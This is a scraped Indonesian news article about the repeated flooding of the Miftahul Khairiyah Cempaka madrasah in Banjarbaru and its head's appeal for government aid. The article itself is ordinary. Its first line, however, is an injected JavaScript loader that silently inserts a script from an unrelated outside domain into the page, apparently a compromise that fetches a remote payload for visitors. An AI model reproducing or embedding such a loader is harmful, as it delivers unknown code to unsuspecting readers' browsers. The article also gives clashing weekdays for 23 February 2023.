(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Madrasah Tsanawiyah dan Madrasah Aliyah Miftahul Khairiyah Cempaka yang berada di Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota Banjarbaru merupakan sekolah keagamaan langganan banjir di Kota Banjarbaru. Terus berulang setiap ada hujan lebat, madrasah swasta ini bagai di anak tirikan pemerintah lantaran tak pernah ada solusi.
Madrasah ini kerap menjadi tempat pertama dan fasilitas pendidikan yang direndam banjir. Bahkan, dalam setahun tak kurang dari 4 hingga 5 kali diterjang banjir. Hingga saat ini tak kunjung mendapat bantuan dari pemerintah.
Kepala Madrasah Aliyah Miftahul Khairiyah Cempaka, Ibnu Sholah mengatakan, walau pihaknya sering diterjang banjir, madrasah ini belum sama sekali terjamah bantuan.
“Saya mengharapkan ada dinas terkait baik kota atau provinsi dapat memberikan bantuan rehab total untuk meninggikan sekolah,” ujarnya, Kamis (23/2/2023) siang.
Baca juga: Pasca Banjir Banjarbaru, Buku Peralatan Anak Sekolah Jadi Kebutuhan Mendesak!
Terkait banjir yang sering menenggelamkan bangunan madrasah, dirinya menginginkan agar pemerintah dalam hal ini Pemerintah Kota (Pemko) Banjarbaru agar mencarikan solusi yang strategis guna mengurangi atau menanggulangi bencana banjir ini.
“Walau disebabkan alam, juga disebabkan gunung yang sudah rusak dan sungai yang sudah dangkal, serta sempit sehingga aliran air terhambat,” katanya.
Untuk banjir kali ini, kata Ibnu Sholah, debit air di madrasah hampir seleher orang dewasa sekitar 150 cm lebih. Sehingga banyak peralatan dan perlengkapan sekolah dari buku belajar, alat elektronik hingga beberapa perlengkapan sekolah lainnya.
“Murid tetap disuruh turun untuk gotong-royong bersih-bersih dibantu Emergency Trikora dan para alumni,” sebutnya.
Baca juga: Pagar SPN Polda Kalsel Ambruk saat Diterpa Hujan Deras
Diungkapkan Ibnu Sholah, banjir yang menerjang pada Rabu (23/2/2023) kemarin, merupakan banjir yang debit airnya tertinggi sepanjang yang ia temui.
Pihaknya membersihkan bekas banjir sedari tengah malam dibantu para relawan Trikora dan pagi disambung oleh peserta didiknya untuk membersihkan sisa-sisa lumpur yang masih ada di madrasah tersebut.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.